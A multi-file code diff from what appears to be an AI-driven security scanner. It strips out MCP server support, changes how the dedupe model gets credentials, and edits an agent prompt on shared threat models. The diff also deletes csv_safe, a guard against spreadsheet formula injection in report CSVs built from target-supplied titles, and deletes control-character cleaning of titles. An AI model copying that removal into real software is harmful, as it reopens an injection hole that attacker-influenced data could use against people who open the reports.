{revision && <div className="mt-1.5 text-[#666] font-mono text-xs">at {revision}</div>}
{/* Saving folds amendments away — the one destructive thing this tool does. */}
{cleared > 0 && (
<div className="mt-1.5 flex items-center gap-1.5 text-yellow-400/80 text-xs">

View File

@@ -3,7 +3,7 @@ import type { ToolRendererProps } from "@/types/events";
import {
Terminal, Globe, FileText, ShieldAlert, ArrowUpRight, Brain,
Bot, MessageCircle, Flag, Eye, Search, Code, StickyNote,
ListTodo, Crosshair, Wrench, Ban, Image, ClipboardList, Plug,
ListTodo, Crosshair, Wrench, Ban, Image, ClipboardList,
} from "lucide-react";
import TerminalRenderer from "./TerminalRenderer";
@@ -27,7 +27,6 @@ import LoadSkillRenderer from "./LoadSkillRenderer";
import RespondRenderer from "./RespondRenderer";
import CoverageRenderer from "./CoverageRenderer";
import ThreatModelRenderer from "./ThreatModelRenderer";
import McpRenderer from "./McpRenderer";
/**
* Tool-renderer mapping — data-driven, keyed by the engine's tool *family*.
@@ -58,8 +57,7 @@ export type ToolCategory =
| "todos"
| "coverage"
| "threatModel"
| "telemetry"
| "mcp";
| "telemetry";
export interface ToolIconMeta {
icon: ComponentType<{ className?: string }>;
@@ -92,11 +90,6 @@ const CATEGORY_META: Record<ToolCategory, CategoryMeta> = {
coverage: { renderer: CoverageRenderer, icon: ClipboardList, color: "text-cyan-400", match: /coverage/ },
threatModel: { renderer: ThreatModelRenderer, icon: Crosshair, color: "text-blue-400", match: /threat_model/ },
telemetry: { renderer: FallbackRenderer, icon: Wrench, color: "text-[#555]" },
// Tools from the user's own MCP servers. Resolved from the connection on the
// event rather than from a tool name — except list_mcps, the engine's
// inventory of every connection, which touches none and so carries no
// connection to resolve from; it is the family's one name below.
mcp: { renderer: McpRenderer, icon: Plug, color: "text-teal-400" },
};
/**
@@ -130,7 +123,6 @@ const CATEGORY_TOOLS: Record<ToolCategory, readonly string[]> = {
// Per-target threat model, shared across the agent tree
threatModel: ["get_threat_model", "save_threat_model", "amend_threat_model"],
telemetry: ["sandbox_error_details", "llm_error_details"],
mcp: ["list_mcps"],
};
/** Reverse index (tool name → family), built once from CATEGORY_TOOLS. */
@@ -181,27 +173,14 @@ function resolveCategory(toolName: string): ToolCategory | null {
return null;
}
/**
* A call to a tool from one of the user's MCP servers is placed by the
* connection it was tagged with, ahead of every name-keyed lookup below. Every
* MCP call goes through the `call_mcp` / `describe_mcp` dispatch tools, so the
* connection tag, not the tool name, is what routes it to the MCP renderer.
*/
export function getToolRenderer(
toolName: string,
mcpConnection?: string | null
): ComponentType<ToolRendererProps> {
if (mcpConnection) return CATEGORY_META.mcp.renderer;
export function getToolRenderer(toolName: string): ComponentType<ToolRendererProps> {
const override = RENDERER_OVERRIDES[toolName];
if (override) return override;
const category = resolveCategory(toolName);
return category ? CATEGORY_META[category].renderer : FallbackRenderer;
}
export function getToolIcon(toolName: string, mcpConnection?: string | null): ToolIconMeta {
if (mcpConnection) {
return { icon: CATEGORY_META.mcp.icon, color: CATEGORY_META.mcp.color };
}
export function getToolIcon(toolName: string): ToolIconMeta {
const override = ICON_OVERRIDES[toolName];
if (override) return override;
const category = resolveCategory(toolName);

View File

@@ -39,39 +39,6 @@ export interface Transcript {
events: TranscriptEvent[];
}
/**
* One MCP connection's non-secret status, as persisted to run.json by the
* engine under `mcp_connection_status` and surfaced verbatim by GET /api/run.
* Only name / provider / tool_count / dead ride here; never config, url, or
* token. `dead` means the connection's live session gave up reconnecting.
*/
export interface McpConnectionStatus {
name: string;
provider: string | null;
toolCount: number;
dead: boolean;
}
/**
* Read the MCP connection roster out of a raw run record. Tolerates the field
* being absent (older runs, or a run with no MCP) and any malformed entry,
* yielding an empty list rather than throwing.
*/
export function parseMcpConnectionStatus(raw: Record<string, unknown>): McpConnectionStatus[] {
const list = raw?.mcp_connection_status;
if (!Array.isArray(list)) return [];
return list.flatMap((entry) => {
if (!entry || typeof entry !== "object" || Array.isArray(entry)) return [];
const record = entry as Record<string, unknown>;
const name = typeof record.name === "string" ? record.name.trim() : "";
if (!name) return [];
const provider = typeof record.provider === "string" && record.provider.trim() ? record.provider.trim() : null;
const toolCount = typeof record.tool_count === "number" ? record.tool_count : 0;
const dead = record.dead === true;
return [{ name, provider, toolCount, dead }];
});
}
export interface LoadedRun {
summary: ParsedRunSummary;
/** Whole raw run record (for llm_usage, targets_info details, etc.). */

View File

@@ -99,13 +99,4 @@ export interface ToolRendererProps {
args: Record<string, unknown>;
result: unknown;
status: "running" | "completed" | "failed" | "error";
/**
* Set only on a call to a tool from an MCP server the user connected: the name
* they gave that connection, and the server's own name for the tool. Every MCP
* call goes through the `call_mcp` / `describe_mcp` dispatch tools, so the
* engine reads both out of the call's arguments; `describe_mcp` inspects a
* connection and leaves `mcpTool` empty.
*/
mcpConnection?: string | null;
mcpTool?: string | null;
}

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -6,8 +6,8 @@
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="color-scheme" content="dark" />
<title>Strix Results</title>
<script type="module" crossorigin src="./assets/index-DD3_cI9L.js"></script>
<link rel="stylesheet" crossorigin href="./assets/index-Ccea__Xc.css">
<script type="module" crossorigin src="./assets/index-Bi_X6kI3.js"></script>
<link rel="stylesheet" crossorigin href="./assets/index-g-_6CcwH.css">
</head>
<body>
<div id="root"></div>

View File

@@ -18,8 +18,6 @@ logger = logging.getLogger(__name__)
_STRIPPABLE_PREFIXES = (
"openai/",
"chatgpt/",
"opencode-go/",
"opencode/",
"litellm/",
"any-llm/",
"ollama/",
@@ -50,11 +48,7 @@ def _model_info(model: str) -> dict[str, int]:
lookup_key = _lookup_key(model)
# Provider-qualified ChatGPT lookups may start a synchronous device-login
# poll. LiteLLM keys the metadata by the underlying model slug.
candidates = (
(lookup_key,)
if model.startswith(("chatgpt/", "opencode/", "opencode-go/"))
else (model, lookup_key)
)
candidates = (lookup_key,) if model.startswith("chatgpt/") else (model, lookup_key)
for candidate in candidates:
info = _safe_get_model_info(candidate)
if info is not None:

View File

@@ -14,7 +14,6 @@ from __future__ import annotations
import importlib
import logging
import sys
import threading
@@ -31,38 +30,12 @@ _lock = threading.Lock()
_thread: threading.Thread | None = None
def _purge_orphaned_modules(before: frozenset[str]) -> None:
"""Remove submodules stranded by an import attempt that just failed.
When a package import fails partway (for example CPython's import-lock
deadlock avoidance breaking a cross-thread cycle), the failed package is
removed from ``sys.modules`` but submodules it already finished stay
behind. A later import of one of those submodules then short-circuits on
the cached entry without re-importing its parent, and re-entering the
parent from inside a submodule crashes with "partially initialized
module". Dropping the orphans (cached submodules whose ancestor package is
gone) restores a clean slate, and touches nothing another thread imported
successfully.
"""
added = set(sys.modules) - before
for name in added:
parent = name.rpartition(".")[0]
while parent:
if parent not in sys.modules:
sys.modules.pop(name, None)
logger.debug("Import warm-up purged orphaned module %r", name)
break
parent = parent.rpartition(".")[0]
def _warm(modules: tuple[str, ...]) -> None:
for name in modules:
before = frozenset(sys.modules)
try:
importlib.import_module(name)
except Exception: # noqa: BLE001 - a failed warm-up must never fail the run.
logger.debug("Import warm-up for %r failed", name, exc_info=True)
_purge_orphaned_modules(before)
def start_import_warmup(modules: tuple[str, ...] = WARMUP_MODULES) -> threading.Thread:

View File

@@ -1,26 +1,12 @@
"""Report/finding helpers."""
from importlib import import_module
from typing import TYPE_CHECKING, Any
from strix.report.dedupe import check_duplicate
from strix.report.state import ReportState, get_global_report_state, set_global_report_state
if TYPE_CHECKING:
from strix.report.dedupe import check_duplicate
__all__ = [
"ReportState",
"check_duplicate",
"get_global_report_state",
"set_global_report_state",
]
def __getattr__(name: str) -> Any:
# check_duplicate pulls in the agents SDK import graph, so it resolves
# lazily: importing this package must stay lightweight and never enter
# that graph (the import warm-up thread may be walking it concurrently).
if name == "check_duplicate":
return import_module("strix.report.dedupe").check_duplicate
raise AttributeError(name)

View File

@@ -7,6 +7,7 @@ import logging
import re
from typing import TYPE_CHECKING, Any
from agents.model_settings import ModelSettings
from agents.models.interface import ModelTracing
from openai.types.responses import ResponseOutputMessage
@@ -21,8 +22,6 @@ from strix.report.state import get_global_report_state
if TYPE_CHECKING:
from agents.items import ModelResponse
from agents.model_settings import ModelSettings
from agents.models.interface import Model
from strix.config.settings import DedupeSettings
@@ -30,11 +29,30 @@ if TYPE_CHECKING:
logger = logging.getLogger(__name__)
def _dedupe_extra_args(dedupe: DedupeSettings) -> dict[str, str]:
"""Per-call credential + endpoint for the dedupe model.
Provider env vars and the global base URL are process-wide, so a
shared-provider dedupe key or a distinct dedupe endpoint can't be installed
globally without clobbering (or being clobbered by) the main model's
config. Passing them per call keeps the two apart. Only applies when a
dedicated dedupe model is configured.
"""
if not dedupe.model:
return {}
extra: dict[str, str] = {}
if dedupe.api_key and dedupe.api_key.strip():
extra["api_key"] = dedupe.api_key.strip()
if dedupe.api_base and dedupe.api_base.strip():
extra["api_base"] = dedupe.api_base.strip()
return extra
def _dedupe_model_settings(
dedupe: DedupeSettings, model_name: str, request_timeout: float | None
) -> ModelSettings:
llm = load_settings().llm
return make_model_settings(
settings = make_model_settings(
dedupe.reasoning_effort,
model_name=model_name,
force_required_tool_choice=False,
@@ -46,21 +64,10 @@ def _dedupe_model_settings(
extra_headers=dedupe.extra_headers if dedupe.model else llm.extra_headers,
has_tools=False,
)
def resolve_dedupe_model(dedupe: DedupeSettings, model_name: str) -> Model:
"""Resolve the dedupe model, bound to its own endpoint when it has one.
Credentials can't ride on the request: every model implementation already
passes its own ``api_key``/``base_url``, so the same keys in ``extra_args``
collide with them and raise before anything is sent. A provider bound to the
dedupe endpoint keeps it apart from the main model's process-wide defaults.
"""
api_key = (dedupe.api_key or "").strip() if dedupe.model else ""
api_base = (dedupe.api_base or "").strip() if dedupe.model else ""
if not (api_key or api_base):
return StrixProvider().get_model(model_name)
return StrixProvider(api_key=api_key or None, base_url=api_base or None).get_model(model_name)
extra = _dedupe_extra_args(dedupe)
if extra:
settings = settings.resolve(ModelSettings(extra_args=extra))
return settings
DEDUPE_SYSTEM_PROMPT = """You are an expert vulnerability report deduplication judge.
@@ -364,7 +371,7 @@ async def check_duplicate(
configure_sdk_model_defaults(settings)
resolved_model = model_name.strip()
model = resolve_dedupe_model(dedupe, resolved_model)
model = StrixProvider().get_model(resolved_model)
response = await model.get_response(
system_instructions=DEDUPE_SYSTEM_PROMPT,
input=user_msg,

View File

@@ -1,21 +1,23 @@
import json
import logging
import re
import subprocess
import threading
from collections.abc import Callable
from datetime import UTC, datetime
from importlib.metadata import PackageNotFoundError, version
from pathlib import Path
from typing import TYPE_CHECKING, Any, Optional, cast
from typing import Any, Optional, cast
from uuid import uuid4
from strix.config import opencode
from agents.usage import Usage
from strix.config import codex
from strix.config.loader import load_settings
from strix.core.paths import run_dir_for, runtime_state_dir
from strix.report.coverage import write_coverage
from strix.report.pricing import resolve_litellm_model
from strix.report.sarif import write_sarif
from strix.report.usage import LLMUsageLedger
from strix.report.writer import (
read_run_record,
write_executive_report,
@@ -25,16 +27,10 @@ from strix.report.writer import (
from strix.telemetry import posthog, scarf
if TYPE_CHECKING:
from agents.usage import Usage
logger = logging.getLogger(__name__)
_global_report_state: Optional["ReportState"] = None
_CONTROL_CHARS = re.compile(r"[\x00-\x1f\x7f]+")
def _strix_version() -> str | None:
"""Best-effort package version for the SARIF tool.driver.version field."""
@@ -44,17 +40,6 @@ def _strix_version() -> str | None:
return None
def _clean_title(title: str) -> str:
"""Return a single-line finding title.
A title quotes text from the scanned target, so it can carry newlines, tabs or
other control characters. Those break every artifact that renders the title on
one line, such as the markdown heading, the CSV cell and the TUI list. Control
characters become spaces and runs of whitespace collapse to one space.
"""
return " ".join(_CONTROL_CHARS.sub(" ", title).split())
def _number(value: Any) -> int | float:
try:
return float(value or 0)
@@ -146,19 +131,10 @@ class ReportState:
self.scan_results: dict[str, Any] | None = None
self.scan_config: dict[str, Any] | None = None
# Imported here so importing this module never enters the agents SDK
# package (which the warm-up thread may be initializing concurrently).
from strix.report.usage import LLMUsageLedger
self._llm_usage = LLMUsageLedger()
self._telemetry_llm_usage_baseline: dict[str, Any] = {}
auth_mode = opencode.auth_mode(load_settings().llm.model)
oc = opencode.subscription_model(load_settings().llm.model)
# A flat subscription has no per-run charge to report. Zen bills prepaid
# credits per request, so its cost is real and stays tracked.
self._llm_usage.zero_cost = auth_mode == "subscription" and not (
oc is not None and oc.metered
)
auth_mode = codex.auth_mode(load_settings().llm.model)
self._llm_usage.zero_cost = auth_mode == "subscription"
self.run_record: dict[str, Any] = {
"run_id": self.run_id,
"run_name": self.run_name,
@@ -166,8 +142,6 @@ class ReportState:
"end_time": None,
"status": "running",
"auth_mode": auth_mode,
"subscription_provider": opencode.subscription_provider(load_settings().llm.model),
"subscription_plan": opencode.subscription_plan(load_settings().llm.model),
"targets_info": [],
"llm_usage": self._build_llm_usage_record(),
}
@@ -243,15 +217,8 @@ class ReportState:
)
self.vulnerability_reports = [r for r in data if isinstance(r, dict)]
for r in self.vulnerability_reports:
title = r.get("title")
stale_md = False
if isinstance(title, str):
r["title"] = _clean_title(title)
stale_md = r["title"] != title
rid = r.get("id")
# A finding already on disk keeps its markdown, unless cleaning
# changed the title: the heading on disk then needs a rewrite.
if isinstance(rid, str) and not stale_md:
if isinstance(rid, str):
self._saved_vuln_ids.add(rid)
logger.info(
"report state hydrated %d vulnerability report(s)",
@@ -294,7 +261,7 @@ class ReportState:
report: dict[str, Any] = {
"id": report_id,
"title": _clean_title(title),
"title": title.strip(),
"severity": severity.lower().strip(),
"timestamp": datetime.now(UTC).strftime("%Y-%m-%d %H:%M:%S UTC"),
}
@@ -371,7 +338,7 @@ class ReportState:
self,
*,
agent_id: str,
usage: "Usage | None",
usage: Usage | None,
agent_name: str | None = None,
model: str | None = None,
) -> None:
@@ -437,34 +404,6 @@ class ReportState:
posthog.end(self, exit_reason="finished_by_tool")
scarf.end(self, exit_reason="finished_by_tool")
def record_mcp_connections(self, names: list[str]) -> None:
"""Note the MCP servers this run connected, and persist it.
Saved as soon as the run connects rather than at the end, so an interface
reading the record mid-run can already attribute a tool call to the
server it went out to.
"""
if self.run_record.get("mcp_connections") == names:
return
self.run_record["mcp_connections"] = names
self.save_run_data()
def record_mcp_connection_status(self, status: list[dict[str, Any]]) -> None:
"""Persist the run's non-secret MCP connection status roster.
``status`` is one entry per connection carrying only ``name``,
``provider``, ``tool_count``, and ``dead`` (no config, url, token, or
auth). Saved as soon as the run connects and rewritten each time a
connection dies, so the viewer, which rebuilds its display by re-reading
the run's files from disk, can show a live connections panel and health
without any in-memory event sink. Kept separate from the
``mcp_connections`` name list so neither field repurposes the other.
"""
if self.run_record.get("mcp_connection_status") == status:
return
self.run_record["mcp_connection_status"] = status
self.save_run_data()
def set_scan_config(self, config: dict[str, Any]) -> None:
self.scan_config = config
self.run_record["status"] = "running"

View File

@@ -26,33 +26,10 @@ logger = logging.getLogger(__name__)
_SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
_CSV_FORMULA_PREFIXES = ("=", "+", "-", "@", "\t", "\r")
_FENCE_RE = re.compile(r"^```([^\n`]*)\r?\n(.*?)\r?\n?```$", re.DOTALL)
_BACKTICK_RUN = re.compile(r"`+")
def csv_safe(value: object) -> str:
"""Return ``value`` as a CSV cell a spreadsheet will not treat as a formula.
Excel, LibreOffice and Sheets evaluate a cell whose first character is one of
``= + - @``, tab or carriage return. The :mod:`csv` module quotes CSV syntax
but has no notion of formula triggers, so such a value reaches the cell intact
and is executed on open (CWE-1236). Vulnerability titles quote text from the
scanned target, which is exactly the attacker-influenced input this guards
against.
Prefixing with an apostrophe is the standard mitigation (OWASP): the rest of
the cell is kept as literal text instead of being evaluated. Excel shows the
apostrophe when it opens a ``.csv`` directly, which is cosmetic — the point is
that nothing runs.
"""
text = str(value)
if text.startswith(_CSV_FORMULA_PREFIXES):
return "'" + text
return text
def safe_fence(content: str) -> str:
"""Return a backtick fence that ``content`` cannot break out of.
@@ -174,11 +151,11 @@ def write_vulnerabilities(
for report in sorted_reports:
csv_writer.writerow(
{
"id": csv_safe(report["id"]),
"title": csv_safe(report["title"]),
"severity": csv_safe(report["severity"].upper()),
"timestamp": csv_safe(report["timestamp"]),
"file": csv_safe(f"vulnerabilities/{report['id']}.md"),
"id": report["id"],
"title": report["title"],
"severity": report["severity"].upper(),
"timestamp": report["timestamp"],
"file": f"vulnerabilities/{report['id']}.md",
},
)
atomic_write_text(csv_path, csv_buf.getvalue())
@@ -199,17 +176,11 @@ def write_vulnerabilities(
def atomic_write_text(path: Path, payload: str) -> None:
"""Write *payload* to *path* via a sibling temp file and an atomic rename.
``newline=""`` disables newline translation so *payload* lands byte-for-byte:
the CSV index carries its own ``\\r\\n`` terminators, which text mode would turn
into ``\\r\\r\\n`` on Windows.
"""
"""Write *payload* to *path* via a sibling temp file and an atomic rename."""
path.parent.mkdir(parents=True, exist_ok=True)
with tempfile.NamedTemporaryFile(
mode="w",
encoding="utf-8",
newline="",
dir=str(path.parent),
prefix=f".{path.name}.",
suffix=".tmp",

View File

@@ -27,7 +27,7 @@ Before spawning agents, analyze the target from the scan config/scope and any pr
## Establish the Threat Model
Every scan needs one shared answer to "who is the attacker here, and what are they attacking" — black-box or white-box. Without it, five agents derive five different answers and their findings cannot be reconciled. Call `get_threat_model` on the target (a host, a URL, or a repository path) before you spawn hunters; if no model exists yet, derive one and share it with `save_threat_model`. It lives for this scan only — nothing carries over from an earlier run, so every scan derives its own — but within the run every agent reads the same document, and a model written from source is read back by an agent testing the deployment.
Every scan needs one shared answer to "who is the attacker here, and what are they attacking" — black-box or white-box. Without it, five agents derive five different answers and their findings cannot be reconciled. Call `get_threat_model` on the target (a host, a URL, or a repository path) before you spawn hunters; if nothing is cached, derive one and persist it with `save_threat_model`. It is cached per target, so a later scan of the same host or tree reads it back instead of paying for it twice, and a model written from source is read back by an agent testing the deployment.
**When the target includes a repository**, derive it up front: the code tells you the boundaries, entrypoints, and controls before you send a single request.

View File

@@ -1,59 +0,0 @@
"""Generic MCP client: connect MCP servers and reach their tools on demand."""
from __future__ import annotations
from strix.tools.mcp.agent_tools import call_mcp, describe_mcp, list_mcps
from strix.tools.mcp.client import (
ConnectedMcpServer,
attach_mcp_requests,
connect_mcp_servers,
)
from strix.tools.mcp.config import (
BearerAuth,
McpAuth,
McpConnectionConfig,
)
from strix.tools.mcp.loader import load_user_mcp_configs
from strix.tools.mcp.naming import namespaced_tool_name
from strix.tools.mcp.registry import (
CALL_MCP_TOOL,
DESCRIBE_MCP_TOOL,
MCP_DISPATCH_TOOLS,
MCP_REGISTRY_CONTEXT_KEY,
McpCallInfo,
McpConnectionEntry,
McpConnectionRequest,
McpConnectionStatus,
McpConnectionSummary,
McpRegistry,
resolve_mcp_call,
)
from strix.tools.mcp.session import McpConnectionUnavailableError, SupervisedMcpSession
__all__ = [
"CALL_MCP_TOOL",
"DESCRIBE_MCP_TOOL",
"MCP_DISPATCH_TOOLS",
"MCP_REGISTRY_CONTEXT_KEY",
"BearerAuth",
"ConnectedMcpServer",
"McpAuth",
"McpCallInfo",
"McpConnectionConfig",
"McpConnectionEntry",
"McpConnectionRequest",
"McpConnectionStatus",
"McpConnectionSummary",
"McpConnectionUnavailableError",
"McpRegistry",
"SupervisedMcpSession",
"attach_mcp_requests",
"call_mcp",
"connect_mcp_servers",
"describe_mcp",
"list_mcps",
"load_user_mcp_configs",
"namespaced_tool_name",
"resolve_mcp_call",
]

View File

@@ -1,188 +0,0 @@
"""The three generic MCP dispatch tools every agent carries.
Under the generic-dispatch model an agent does not get one tool per MCP tool.
It gets exactly these three and discovers connections on demand:
- ``list_mcps()`` returns the connections available this run — each connection's
id, name, description, and tool count, with no tool schemas — so the model can
discover what it can reach without any inventory in the system prompt.
- ``describe_mcp(connection)`` returns, as text, one connection's tools with
their names, descriptions, and JSON input schemas — the schemas the model
needs, fetched on demand instead of loaded onto every request up front.
- ``call_mcp(connection, tool, arguments)`` dispatches one call to a
connection's tool and returns its result.
All three read the per-run :class:`~strix.tools.mcp.registry.McpRegistry` from the
run context under :data:`~strix.tools.mcp.registry.MCP_REGISTRY_CONTEXT_KEY`. They
are ordinary ``FunctionTool`` objects placed in the agent factory's base tool set,
so the factory's output-bounding and disk-spill wrapping apply to their results
automatically.
"""
from __future__ import annotations
import json
from typing import TYPE_CHECKING, Any
from agents import RunContextWrapper, function_tool
from strix.tools.mcp.client import _errored_tool_output
from strix.tools.mcp.naming import namespaced_tool_name
from strix.tools.mcp.registry import MCP_REGISTRY_CONTEXT_KEY, McpRegistry
from strix.tools.mcp.session import McpConnectionUnavailableError
if TYPE_CHECKING:
from mcp.types import Tool as MCPTool
def _registry_from_ctx(ctx: RunContextWrapper) -> McpRegistry | None:
context = ctx.context if isinstance(ctx.context, dict) else {}
registry = context.get(MCP_REGISTRY_CONTEXT_KEY)
return registry if isinstance(registry, McpRegistry) else None
_NO_CONNECTIONS = "No MCP connections are configured for this run."
def _unknown_connection(connection: str, registry: McpRegistry) -> str:
available = ", ".join(registry.names()) or "(none)"
return f"Unknown MCP connection {connection!r}. Available connections: {available}."
def _unavailable_connection(connection: str) -> str:
return (
f"MCP connection {connection!r} is unavailable: its live session failed and "
"could not be reconnected, so it is unavailable for the rest of this run."
)
def _format_tool(tool: MCPTool) -> str:
schema = json.dumps(tool.inputSchema or {"type": "object"}, indent=2, ensure_ascii=False)
description = (tool.description or "").strip() or "(no description)"
return f"- {tool.name}: {description}\n input schema:\n{schema}"
@function_tool(timeout=60)
async def list_mcps(ctx: RunContextWrapper) -> dict[str, Any]:
"""List the MCP connections available this run, so you can discover them.
Read-only. Returns one entry per connection with its ``id`` (the exact name
you pass to ``describe_mcp`` and ``call_mcp``), ``name``, ``description``, and
``tool_count`` — no tool schemas. The three MCP tools work in order: call
``list_mcps`` to discover the available connections, then ``describe_mcp`` on
one connection to inspect its tools and their input schemas, then ``call_mcp``
to run one of its tools. Returns an empty ``connections`` list when the run has
no MCP connections.
"""
registry = _registry_from_ctx(ctx)
if registry is None or not registry:
return {"connections": []}
dead_by_name = {status.name: status.dead for status in registry.statuses()}
return {
"connections": [
{
"id": summary.name,
"name": summary.name,
"description": summary.purpose,
"tool_count": summary.tool_count,
"dead": dead_by_name.get(summary.name, False),
}
for summary in registry.summaries()
]
}
@function_tool(timeout=60)
async def describe_mcp(ctx: RunContextWrapper, connection: str) -> str:
"""List the tools one MCP connection offers, with their input schemas.
Read-only. Look up a connection by the id ``list_mcps`` reported for it; this
returns each of its tools with the tool's name, description, and JSON input
schema — the argument shape you pass to ``call_mcp``. Call this before
``call_mcp`` on any connection you have not used yet. Nothing is fetched from
or run against the connection's data.
Args:
connection: The connection name exactly as reported by ``list_mcps``.
"""
registry = _registry_from_ctx(ctx)
if registry is None or not registry:
return _NO_CONNECTIONS
entry = registry.get(connection)
if entry is None:
return _unknown_connection(connection, registry)
try:
tools = await entry.session.list_tools()
except McpConnectionUnavailableError:
return _unavailable_connection(connection)
if not tools:
return f"MCP connection {connection!r} offers no tools."
header = f"MCP connection {connection!r} offers {len(tools)} tool(s):"
body = "\n".join(_format_tool(tool) for tool in tools)
return f"{header}\n{body}"
@function_tool(timeout=120, strict_mode=False)
async def call_mcp(
ctx: RunContextWrapper,
connection: str,
tool: str,
arguments: Any = None,
) -> Any:
"""Call one tool on one MCP connection and return its result.
Address the tool by the connection id from ``list_mcps`` and the tool name
from ``describe_mcp`` on that connection. Pass the tool's arguments as an
object matching the input schema ``describe_mcp`` showed for it (omit it, or
pass an empty object, for a tool that takes no arguments).
Args:
connection: The connection name exactly as reported by ``list_mcps``.
tool: The tool name, exactly as reported by ``describe_mcp``.
arguments: The tool's arguments as a JSON object of names to values (for
example ``{"path": "app.py"}``), or omitted/empty for a tool that
takes none. Pass an object, not a stringified one. Its shape is
whatever ``describe_mcp`` showed for the tool rather than a shape this
tool fixes in advance.
"""
registry = _registry_from_ctx(ctx)
if registry is None or not registry:
return _NO_CONNECTIONS
entry = registry.get(connection)
if entry is None:
return _unknown_connection(connection, registry)
invalid_arguments = (
f"Invalid arguments for {connection!r}.{tool}: expected a JSON object of "
"argument names to values, or none. Call describe_mcp for the input schema."
)
if isinstance(arguments, str):
# The ``arguments`` parameter is schema-less (an open object is not
# expressible as a strict tool schema), so some models serialize it as a
# JSON string instead of a bare object. Accept a string that decodes to an
# object so a correct call is not rejected over its encoding.
stripped = arguments.strip()
try:
arguments = json.loads(stripped) if stripped else {}
except json.JSONDecodeError:
return invalid_arguments
if arguments is not None and not isinstance(arguments, dict):
return invalid_arguments
try:
available = await entry.session.list_tools()
except McpConnectionUnavailableError:
return _errored_tool_output(_unavailable_connection(connection))
valid_names = {mcp_tool.name for mcp_tool in available}
if tool not in valid_names:
offered = ", ".join(sorted(valid_names)) or "(none)"
return (
f"Unknown tool {tool!r} on MCP connection {connection!r}. "
f"Tools this connection offers: {offered}. "
"Call describe_mcp for their input schemas."
)
return await entry.session.dispatch(
tool,
arguments or {},
label=namespaced_tool_name(connection, tool),
result_transform=entry.result_transform,
)

View File

@@ -1,339 +0,0 @@
"""Connect to MCP servers so a run can reach their tools on demand.
Given one :class:`McpConnectionConfig` per server, :func:`connect_mcp_servers`
connects each server, counts the tools it offers (honoring the connection's
allowlist), and returns the live sessions. It does NOT register anything as an
agent tool: under the generic-dispatch model the run holds these sessions in a
per-run :class:`~strix.tools.mcp.registry.McpRegistry`, and the agent reaches
them through the two dispatch tools (``describe_mcp`` / ``call_mcp``), which call
:func:`dispatch_mcp_call` here to run one tool and serialize its result.
A server that cannot connect is logged and skipped, so one bad connection never
fails the run.
"""
from __future__ import annotations
import contextlib
import json
import logging
import os
from pathlib import Path
from typing import TYPE_CHECKING, Any, NamedTuple, cast
from agents.mcp import (
MCPServer,
MCPServerStdio,
MCPServerStdioParams,
MCPServerStreamableHttp,
MCPServerStreamableHttpParams,
create_static_tool_filter,
)
from mcp.client.stdio import stdio_client
from strix.tools.mcp.session import McpConnectionUnavailableError, SupervisedMcpSession
if TYPE_CHECKING:
from collections.abc import Callable
from strix.tools.mcp.config import McpConnectionConfig
from strix.tools.mcp.registry import McpConnectionRequest, McpRegistry
# Runs on one tool call's structured result before it reaches the agent.
# Called ``result_transform(label, structured_result)`` and its return value
# becomes the tool's output. ``label`` is the model-facing
# ``<connection>_<tool>`` name so a transform keyed on names still resolves
# the same way it did under per-tool registration; ``structured_result`` is
# the parsed ``CallToolResult`` as a dict (not a serialized string), so the
# transform can project or drop individual fields.
ResultTransform = Callable[[str, Any], Any]
logger = logging.getLogger(__name__)
class ConnectedMcpServer(NamedTuple):
"""One successfully connected MCP connection and how many tools it offers.
``session`` is the :class:`~strix.tools.mcp.session.SupervisedMcpSession` that
owns the live connection on its own task, so the caller cleans it up when the
run ends (``await session.aclose()``) and hands it to the run's
:class:`~strix.tools.mcp.registry.McpRegistry`; ``name`` and ``tool_count``
let the caller show the user a startup summary and fill the prompt inventory;
``notes`` carries the connection's optional free-text description so the
caller can surface it as the connection's purpose in the inventory.
"""
session: SupervisedMcpSession
name: str
tool_count: int
notes: str | None = None
def _auth_headers(config: McpConnectionConfig) -> dict[str, str]:
"""Build the per-server request headers from the connection's auth."""
auth = config.auth
if auth is None:
return {}
return {"Authorization": f"Bearer {auth.token}"}
@contextlib.asynccontextmanager
async def _quiet_stdio_streams(params: Any) -> Any:
"""Run a stdio MCP server with its stderr sent to the void.
A stdio MCP server chats on stderr as it boots (the filesystem server, for
one, prints ``Allowed directories: [ ... ]``). The mcp library forwards that
stderr to the parent's ``sys.stderr`` by default, which is the terminal the
TUI is drawing on, so the banner corrupts the display. Pointing ``errlog`` at
``os.devnull`` drops that chatter. Connection failures are unaffected: they
still raise from ``connect`` and are logged by :func:`connect_mcp_servers`.
"""
with Path(os.devnull).open("w", encoding="utf-8") as errlog:
async with stdio_client(params, errlog=errlog) as streams:
yield streams
class _QuietMCPServerStdio(MCPServerStdio):
"""``MCPServerStdio`` whose subprocess stderr is kept off the terminal.
The SDK's ``create_streams`` calls ``stdio_client(self.params)`` with no
``errlog``, so the subprocess stderr defaults to ``sys.stderr`` and paints
server banners over the running TUI. Overriding it lets us redirect that
stream; everything else about the stdio transport is unchanged.
"""
def create_streams(self) -> Any:
return _quiet_stdio_streams(self.params)
def _build_server(config: McpConnectionConfig) -> MCPServer:
"""Construct (but do not connect) the SDK server for one connection.
When ``allowed_tools`` is a list the static filter means the server will not
even list tools outside it, so it is the authoritative gate on what
``describe_mcp`` and ``call_mcp`` can see. When it is ``None`` no filter is
applied and every listed tool is reachable.
"""
tool_filter = (
create_static_tool_filter(allowed_tool_names=config.allowed_tools)
if config.allowed_tools is not None
else None
)
if config.transport == "stdio":
stdio_params: MCPServerStdioParams = {
"command": cast("str", config.command),
"args": config.args,
"env": config.env,
}
return _QuietMCPServerStdio(
params=stdio_params,
name=config.name,
tool_filter=tool_filter,
cache_tools_list=True,
)
http_params: MCPServerStreamableHttpParams = {
"url": cast("str", config.url),
"headers": _auth_headers(config),
}
return MCPServerStreamableHttp(
params=http_params,
name=config.name,
tool_filter=tool_filter,
cache_tools_list=True,
)
def _mcp_result_to_tool_output(server: MCPServer, result: Any) -> Any:
"""Serialize a ``CallToolResult`` to a tool output, mirroring the agents SDK.
This reproduces the serialization in ``agents.mcp.util.MCPUtil.invoke_mcp_tool``
(structured-content JSON when the server asks for it, otherwise text/image
content blocks, unwrapping a single block). Because the dispatch tool routes
its own call, this is what makes the agent see byte-identical content to what
the SDK would have produced building the tool itself.
"""
if getattr(server, "use_structured_content", False) and result.structuredContent:
return json.dumps(result.structuredContent)
outputs: list[dict[str, Any]] = []
for item in result.content:
if item.type == "text":
